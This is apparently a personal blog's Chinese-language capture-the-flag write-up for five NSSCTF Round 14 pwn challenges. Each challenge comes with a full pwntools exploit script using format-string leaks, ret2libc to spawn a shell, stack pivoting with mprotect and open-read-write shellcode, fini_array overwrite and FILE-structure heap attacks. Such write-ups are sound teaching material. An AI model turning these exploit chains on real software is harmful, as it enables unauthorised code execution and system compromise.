文章

NSSCTF-Round-14-Basic

image

5 道pwn 题

love

存在 格式化字符串漏洞

image

然后进入 vuln 函数,然后直接溢出,由于上面需要的libc_base Canary 都已经有了,可以直接 return system(“/bin/sh”);

image

  • exploit 非预期
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
b *0x40131B
continue
'''.format(**locals())

binary = './pwn'
libelf = './libc.so.6'

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)

io = start(binary)
io = remote('node4.anna.nssctf.cn',28753)


#09:0048│     0x7ffc410fe908 ◂— 0x10140a8aa00b1300
#0b:0058│     0x7ffe19b67ea8 —▸ 0x7ff05691e083 (__libc_start_main+243) ◂— mov edi, eax
pay = f'%520c%9$hn%{0x9+0x6}$p%{0x0b+0x6}$p'
ru('Toka\n\n')

#gdb.attach(io)

sl(pay)
ru('0x')
cann = int(r(16),16)
__libc_start_main = int(r(14),16)
libc_base = __libc_start_main - 243 - libc.sym['__libc_start_main']

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ls(hex(cann))
ls(hex(libc_base))

ru('level\n\n')
pay = 0x28 * b"A" + p64(cann)*2 + p64(rop.find_gadget(['ret'])[0])*1 + p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(bin_sh) + p64(system) + p64(elf.sym['main'])
sl(pay)
io.interactive()
  • 预期解法

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from ctypes import *
from struct import pack
banary = "./love"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = '127.0.0.1'
port = 10005
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()

pop_rdi=0x00000000004013f3
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
ret=0x000000000040101a

#gdb.attach(io,'b *0x000000000040125D')

ru("I want to hear your praise of Toka\n")
payload='%'+str(520)+'c'+'%9$hhn'
sl(payload)
#pause()

payload=b'A'*0x28+p64(0xdeadbeef)+b'A'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(elf.sym['vuln'])
payload=payload.ljust(0x868,b'\x00')+p64(0xdeadbeef)*3
#payload=b'A'*8
ru("I know you like him, but you must pass my level\n")
sl(payload)
libcbase=uu64()-libc.sym['puts']
lg("libcbase:"+hex(libcbase))
system=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
onegadget=libcbase+0xe3b01

ru("I know you like him, but you must pass my level\n")
payload=b'A'*0x28+p64(0xdeadbeef)+b'A'*8+p64(onegadget)
sl(payload)

ia()

rbp

ORW 拿flag

image

只能溢出 覆盖一个 ret ,需要利用栈迁移

image

控制 下一次 rbp 为bss上,然后再次read

image

然后写 rop 到 bss 上都会栈迁移也到这里

image

image

然后再 leave ret 栈迁移 泄露 libc上的地址

image

puts 结束后 我们再 返回到 vuln

image

image

image

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
b *0x0x404410
continue
'''.format(**locals())

binary = './rbp'
libelf = '/opt/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)

io = start(binary)
#io = remote('node2.anna.nssctf.cn',28345)

bss = 0x404800
leave = 0x4012bf

pay = b'A' *0x0210 + p64(bss) + p64(0x401292)
gdb.attach(io)
s(pay)

pause()
pay = p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(elf.got['puts']) + p64(elf.sym['puts']) +p64(0x0401270) # vuln
pay = pay.ljust(0x0210,b'A')
pay += p64(bss-0x218) + p64(leave)
s(pay)
ru('\x40\x0a')

x = uu64(r(6))
libc_base = x - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ls(hex(libc_base))

libc_file = '/opt/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
libc_file = '/opt/pwn/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6'
libc_rop = ROP(libc_file)

def f(Str):
    return libc_base + libc_rop.find_gadget([Str,'ret'])[0]
syscall_ret = f('syscall')
pop_rax = f('pop rax')
pop_rdi = f('pop rdi')
pop_rsi = f('pop rsi')
pop_rbx = f('pop rbx')
pop_adb   = libc_base +  0x0000000000090528 # pop rax ; pop rdx ; pop rbx ; ret
pop_adb   = libc_base +  0x000000000015f8c5 # pop rax ; pop rdx ; pop rbx ; ret
pop_adb   = libc_base +  0x000000000015f8c5 # pop rax ; pop rdx ; pop rbx ; ret

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
shellcode = asm(shellcode)

orw_rop = flat(
        pop_rdi, bss-0x800,     # rdi addr
        pop_rsi, 0x1000, # rsi length
        pop_adb, 0,7,0,  # rdx per 
        libc_base + libc.sym['mprotect'], # 修改 权限
        0x404448, # 此时栈已经 rwx了 所以直接返回到栈上执行代码
        '\x90'*0x20,
        shellcode 
        )

pay =  orw_rop
pay = pay.ljust(0x0210,b'B')
#x = bss - 0x404610
#exe = 0x4045f0-0x1f0
#pay += p64(bss-0x1f8) + p64(leave)
#pay += p64(bss-0x1f8) + p64(leave)
pay += p64(0x4043f0) + p64(leave)
pause()
s(pay)

io.interactive()

第一次栈迁移泄露 libc

第二次 利用 mprotect 修改 bss 权限 为 rwx ,顺便把 orw shllcode 写到bss上,然后 ret2 shellcode

xor

​​image​​

image

  • 第一次修改 flag的 高位 为 0xff 也就成负数了,然后就可以一直不退出程序

  • 然后把shellcode 写到 bss 上,

  • 程序退出时会执行 __do_global_dtors_aux_fini_array_entry​ ,相当于got
  • 我们把shellcode 的地址写进去,就可以执行了

__libc_csu_init​ -> lea rbp, __do_global_dtors_aux_fini_array_entry

image

  • 二次读 shellcode

image

  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
b *0x004006FE
continue
'''.format(**locals())

binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)

io = start(binary)
#io = remote('node1.anna.nssctf.cn',28651)

#sc = asm(shellcraft.sh())
sc = '''
xor eax,eax
xor edi,edi
push 0x78
pop rdx
push 0x600958
pop rsi
syscall
'''
sc = asm(sc)
print(len(sc))
print(disasm(sc))

pause()


def w(add,vul):
    ru('addr: ')
    sl(hex(add))
    ru('value: ')
    sl('0x' + hex(vul)[2:].rjust(2,'0'))

# 改 flag 高位,这样 flag就是负数了
w(0x0600BCC+3,0x100-0x10)
#gdb.attach(io)

# 把 read 的shellcode 写到 bss上
read = 0x600958
for i in range(0,len(sc)):
    p1 = u8(sc[i:i+1])
    add = (0x600958 + i)
    w(add ,p1)


sc = p32(0x400610)

for i in range(0,len(sc)):
    p1 = u8(sc[i:i+1])
    add = 0x600970 + i
    w(add ,p1)

sc = p32(read)
for i in range(0,len(sc)):
    p1 = u8(sc[i:i+1])
    add = 0x600970 + i
    w(add ,p1)

#gdb.attach(io,'b *0x400610')

# exit
w(0x0600BCC+3,0x100-0x10)

pause()
pay = 0x16 * b'\x90'
pay += asm(shellcraft.sh())
sl(pay)

io.interactive()

read_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
b *0x0401478
continue
'''.format(**locals())

binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ;
if (libelf!=''): libc = ELF(libelf)

io = start(binary)
#io = remote('node5.anna.nssctf.cn',28140)


def load_file(name):
    ru('>> ')
    sl('1')
    ru(' : ')
    s(name)


load_file('dev/null')
load_file('flag\x00fla')

ru('>> ')
sl('2')
ru(' : ')
sl('55')


#gdb.attach(io)

rop=ROP(binary)

pay = b'A' * 55 + b'BBBBBBBBCCCCCCCCD'
pay += p64(0x401493) + p64(0x0401615) * 2 # 巧妙
sl(pay)

Girlfriends’ notebooks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())

binary = './pwn'
libelf = '/opt/pwn/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/libc.so.6'

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)



def add(idx,size,text):
    ru('choice: ')
    sl('1')
    ru("idx: ")
    sl(str(idx))
    ru('size: ')
    sl(str(size))
    ru('content: ')
    s(text)

def show(idx):
    ru('choice: ')
    sl('2')
    ru("idx: ")
    sl(str(idx))

def edit(idx,text):
    ru('choice: ')
    sl('4')
    ru("idx: ")
    sl(str(idx))

    ru("content: ")
    sl(text)


io = start(binary)
#io = remote()
add(0,0x48,b'a'*0x58+p64(0x1001))
#add(0,0x48,b'a'*0x50)
add(1,0x2000,b'wsnd')
gdb.attach(io)

pause()
add(4,0x200,'B'*8)
show(4)
ru('B'*8)
main_arena = uu64(r(6))
ls(hex(main_arena))

libc_base = main_arena - 2204400
__free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
log.success(hex(main_arena))
log.success(hex(libc_base))




io_file = FileStructure()
libc.address = libc_base
rop  = ROP(libc)

pop_rbp_addr = rop.find_gadget(["pop rbp","ret"])[0]
leave_ret_addr = rop.find_gadget(["leave","ret"])[0]
standard_FILE_addr = libc.sym['_IO_2_1_stdout_']
_IO_wfile_jumps_addr = libc.sym["_IO_wfile_jumps"]

fake_rbp_addr = libc.address+0x21a860-8 # libc.address+0x21a860-8 开始写 rop 链


io_file.flags = 0 
io_file._IO_read_ptr = pop_rbp_addr
io_file._IO_read_end = fake_rbp_addr
io_file._IO_read_base = leave_ret_addr
io_file._IO_write_base = 0
io_file._IO_write_ptr = 1
io_file.unknown2 |= (0 << 192)
io_file._lock = standard_FILE_addr-0x10
io_file.chain = leave_ret_addr
io_file._codecvt = standard_FILE_addr
io_file._wide_data = standard_FILE_addr - 0x48
io_file.vtable = _IO_wfile_jumps_addr
rdi = rop.find_gadget(["pop rdi","ret"])[0]
rsi = rop.find_gadget(["pop rsi","ret"])[0]
rdx= rop.find_gadget(["pop rdx","pop r12","ret"])[0]
open_ = libc.sym['open']
read_= libc.sym['read']
puts = libc.sym['puts']
write_ = libc.sym['write']
flag = libc.address+0x21a908
payload = bytes(io_file)
payload += p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(open_)
payload += p64(rdi)+p64(3)+p64(rsi)+p64(libc.address+0x21af00)+p64(rdx)+p64(0xff)+p64(0)+p64(read_)
payload += p64(rdi)+p64(1)+p64(rsi)+p64(libc.address+0x21af00)+p64(rdx)+p64(0xff)+p64(0)+p64(write_)
payload += b"/flag\x00"
ls(hex(fake_rbp_addr))
edit(-8,payload)



io.interactive()
本文由作者按照 CC BY 4.0 进行授权

© imLZH1. 保留部分权利。

本站总访问量

本站采用 Jekyll 主题 Chirpy

热门标签